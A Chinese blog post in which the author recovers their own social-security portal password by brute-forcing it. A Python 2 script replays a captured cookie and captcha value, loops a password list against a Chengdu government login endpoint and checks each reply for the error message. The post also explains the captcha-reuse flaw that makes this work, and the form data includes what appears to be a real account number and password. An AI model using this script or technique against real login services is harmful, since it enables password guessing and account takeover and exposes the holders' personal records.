我是如何找回社保卡的登录密码的
前一阵子想查询社保,结果忘记登录密码了.今天公司停电,又听同事说只要身份证就可以去社保局重置密码.于是我就兴冲冲地去了.结果在自助终端需要支付密码,在柜台需要社保卡.mmmp!
回到家里后就撸了这个程序
Step
首先登录界面长这个样子

下面是表单重点

其中
- Request Url(请求地址)
- Request Method(请求方式)
- Cookie(这个里面应该记录着你请求的哪一张验证码)
- Form Data(传输的数据)
代码 #coding: utf-8 import urllib2 import urllib from cookielib import CookieJar from time import sleep
opener = urllib2.build_opener()
opener.addheaders.append(("Cookie", "粘贴 cookie 至此"))
# 这里将网页上的数据弄过来
formdata = formdata = {"username": "022396919", "password1": "", "sfz": "", "checkCode": "336", "m": "null",
"state": "null", "redirect_uri": "http://insurance.cdhrss.gov.cn/GetTokenAction.do",
"response_type": "code", "client_id": "yhtest", "e": "null", "password": "13536415"}
# 这里填写你的密码列表
passwords = ["password1", "password2", "password3"]
for password in passwords:
formdata["password"] = password
data_encoded = urllib.urlencode(formdata)
response = opener.open( "http://jypt.cdhrss.gov.cn:8045/yhjypt/oauth/authorizeNoCaAction!getCode.do", data_encoded)
content = response.read()
print "登录失败,社保编码或查询密码有误!" in content, password
结果

上面的判断是看是否这个查询密码错误是否出现在返回的数据中, 而这个红色箭头所指的地方就是查询密码没有出现错误, 所以就用这个False所对应的面去网站试试,结果当然是成功的了
其他
其实验证码判断的依据是你用什么凭证去验证你的验证码,所以你的凭证在没有改变时,你用当前的凭证是可以进行多次验证同一个验证码的.如果你发现验证码有问题.那就打开调试,然后点击验证码图片,然后请求验证码图片,填写当前验证码并把当前请求里面的 Cookie 更新进代码即可.Over~